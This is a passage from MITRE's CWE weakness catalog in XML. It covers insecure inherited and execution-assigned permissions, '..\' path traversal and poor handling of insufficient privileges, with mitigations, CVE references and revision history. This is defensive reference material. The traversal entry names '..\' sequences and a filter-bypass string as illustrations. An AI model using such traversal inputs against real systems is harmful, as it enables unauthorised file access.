					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="278" Name="Insecure Preserved Inherited Permissions" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>A product inherits a set of insecure permissions for an object,
					e.g. when copying from an archive file, without user awareness or
					involvement.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>732</Relationship_Target_ID>
					          <!--Incorrect Permission Assignment for Critical Resource-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>275</Relationship_Target_ID>
					          <!--Permission Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>899</Relationship_Target_ID>
					          <!--SFP Cluster: Access Control-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Very carefully manage the setting, management, and handling of
							privileges. Explicitly manage trust zones in the software.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-46">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Compartmentalize the system to have "safe" areas where trust
							boundaries can be unambiguously drawn. Do not allow sensitive data to go
							outside of the trust boundary and always be careful when interfacing
							with a compartment outside of the safe area.</Text>
						            <Text>Ensure that appropriate compartmentalization is built into the system
							design and that the compartmentalization serves to allow for and further
							reinforce privilege separation functionality. Architects and designers
							should rely on the principle of least privilege to decide when it is
							appropriate to use and to drop system privileges.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1724</Observed_Example_Reference>
					          <Observed_Example_Description>Does not obey specified permissions when
						exporting.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Insecure preserved inherited permissions</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="279" Name="Incorrect Execution-Assigned Permissions" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>While it is executing, the software sets the permissions of an
					object in a way that violates the intended permissions that have been specified
					by the user.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>732</Relationship_Target_ID>
					          <!--Incorrect Permission Assignment for Critical Resource-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>275</Relationship_Target_ID>
					          <!--Permission Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>857</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 12 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>899</Relationship_Target_ID>
					          <!--SFP Cluster: Access Control-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Very carefully manage the setting, management, and handling of
							privileges. Explicitly manage trust zones in the software.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-46">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Compartmentalize the system to have "safe" areas where trust
							boundaries can be unambiguously drawn. Do not allow sensitive data to go
							outside of the trust boundary and always be careful when interfacing
							with a compartment outside of the safe area.</Text>
						            <Text>Ensure that appropriate compartmentalization is built into the system
							design and that the compartmentalization serves to allow for and further
							reinforce privilege separation functionality. Architects and designers
							should rely on the principle of least privilege to decide when it is
							appropriate to use and to drop system privileges.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0265</Observed_Example_Reference>
					          <Observed_Example_Description>Log files opened
						read/write.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0876</Observed_Example_Reference>
					          <Observed_Example_Description>Log files opened
						read/write.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1694</Observed_Example_Reference>
					          <Observed_Example_Description>Log files opened
						read/write.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Insecure execution-assigned permissions</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Create files with appropriate access
						permissions</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO06-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Create files with appropriate access
						permission</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO01-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Create files with appropriate access
						permissions</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO06-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>19</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>81</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Insecure Execution-assigned
						Permissions</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="28" Name="Path Traversal: '..\filedir'" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses external input to construct a pathname that
					should be within a restricted directory, but it does not properly neutralize
					"..\" sequences that can resolve to a location that is outside of that
					directory.</Description_Summary>
				        <Extended_Description>
					          <Text>This allows attackers to traverse the file system to access files or
						directories that are outside of the restricted directory.</Text>
					          <Text>The '..\' manipulation is the canonical manipulation for operating systems
						that use "\" as directory separators, such as Windows. However, it is also
						useful for bypassing path traversal protection schemes that only assume that
						the "/" separator is valid.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>23</Relationship_Target_ID>
					          <!--Relative Path Traversal-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
				        <Operating_Systems>
					          <Operating_System_Class Operating_System_Class_Description="Windows"/>
				        </Operating_Systems>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>When validating filenames, use stringent whitelists that limit the
							character set to be used. If feasible, only allow a single "." character
							in the filename to avoid weaknesses such as CWE-23, and exclude
							directory separators such as "/" to avoid CWE-36. Use a whitelist of
							allowable file extensions, which will help to avoid CWE-434.</Text>
						            <Text>Do not rely exclusively on a filtering mechanism that removes
							potentially dangerous characters. This is equivalent to a blacklist,
							which may be incomplete (CWE-184). For example, filtering "/" is
							insufficient protection if the filesystem also supports the use of "\"
							as a directory separator. Another possible error could occur when the
							filtering is applied in a way that still produces dangerous data
							(CWE-182). For example, if "../" sequences are removed from the
							".../...//" string in a sequential fashion, two instances of "../" would
							be removed from the original string, but the remaining characters would
							still form the "../" string.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0661</Observed_Example_Reference>
					          <Observed_Example_Description>"\" not in blacklist for web server, allowing path
						traversal attacks when the server is run in Windows and other OSes.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0946</Observed_Example_Reference>
					          <Observed_Example_Description>Arbitrary files may be read files via ..\ (dot
						dot) sequences in an HTTP request.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1042</Observed_Example_Reference>
					          <Observed_Example_Description> Directory traversal vulnerability in search
						engine for web server allows remote attackers to read arbitrary files via
						"..\" sequences in queries. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1209</Observed_Example_Reference>
					          <Observed_Example_Description> Directory traversal vulnerability in FTP server
						allows remote attackers to read arbitrary files via "..\" sequences in a GET
						request. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1178</Observed_Example_Reference>
					          <Observed_Example_Description> Directory traversal vulnerability in servlet
						allows remote attackers to execute arbitrary commands via "..\" sequences in
						an HTTP request. </Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>'..\filename' ('dot dot backslash')</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Description,
						Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Dot Dot
						Backslash - '..\filename'</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2008-10-14">Path Traversal:
						'..\filename'</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="280" Name="Improper Handling of Insufficient Permissions or Privileges " Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The application does not handle or incorrectly handles when it
					has insufficient privileges to access resources or functionality as specified by
					their permissions. This may cause it to follow unexpected code paths that may
					leave the application in an invalid state.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>275</Relationship_Target_ID>
					          <!--Permission Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>703</Relationship_Target_ID>
					          <!--Improper Check or Handling of Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This can be both primary and resultant. When primary, it can expose a
						variety of weaknesses because a resource might not have the expected state,
						and subsequent operations might fail. It is often resultant from Unchecked
						Error Condition (CWE-391).</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>CWE-280 and CWE-274 are too similar.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-46">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Compartmentalize the system to have "safe" areas where trust
							boundaries can be unambiguously drawn. Do not allow sensitive data to go
							outside of the trust boundary and always be careful when interfacing
							with a compartment outside of the safe area.</Text>
						            <Text>Ensure that appropriate compartmentalization is built into the system
							design and that the compartmentalization serves to allow for and further
							reinforce privilege separation functionality. Architects and designers
							should rely on the principle of least privilege to decide when it is
							appropriate to use and to drop system privileges.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Always check to see if you have successfully accessed a resource or
							system functionality, and use proper error handling if it is
							unsuccessful. Do this even when you are operating in a highly privileged
							mode, because errors or environmental conditions might still cause a
							failure. For example, environments with highly granular
							permissions/privilege models, such as Windows or Linux capabilities, can
							cause unexpected failures.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0501</Observed_Example_Reference>
					          <Observed_Example_Description>Special file system allows attackers to prevent
						ownership/permission change of certain entries by opening the entries before
						calling a setuid program.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0148</Observed_Example_Reference>
					          <Observed_Example_Description>FTP server places a user in the root directory
						when the user's permissions prevent access to his/her own home
						directory.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Theoretical_Notes>
				        <Theoretical_Note>
					          <Text>Within the context of vulnerability theory, privileges and permissions are
						two sides of the same coin. Privileges are associated with actors, and
						permissions are associated with resources. To perform access control, at
						some point the software makes a decision about whether the actor (and the
						privileges that have been assigned to that actor) is allowed to access the
						resource (based on the permissions that have been specified for that
						resource).</Text>
				        </Theoretical_Note>
			      </Theoretical_Notes>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>This type of issue is under-studied, since researchers often concentrate
						on whether an object has too many permissions, instead of not enough. These
						weaknesses are likely to appear in environments with fine-grained models for
						permissions and privileges, which can include operating systems and other
						large-scale software packages. However, even highly simplistic
						permission/privilege models are likely to contain these issues if the
						developer has not considered the possibility of access failure.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Fails poorly due to insufficient
						permissions</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Improper Filesystem Permissions </Mapped_Node_Name>
					          <Mapped_Node_ID>17</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
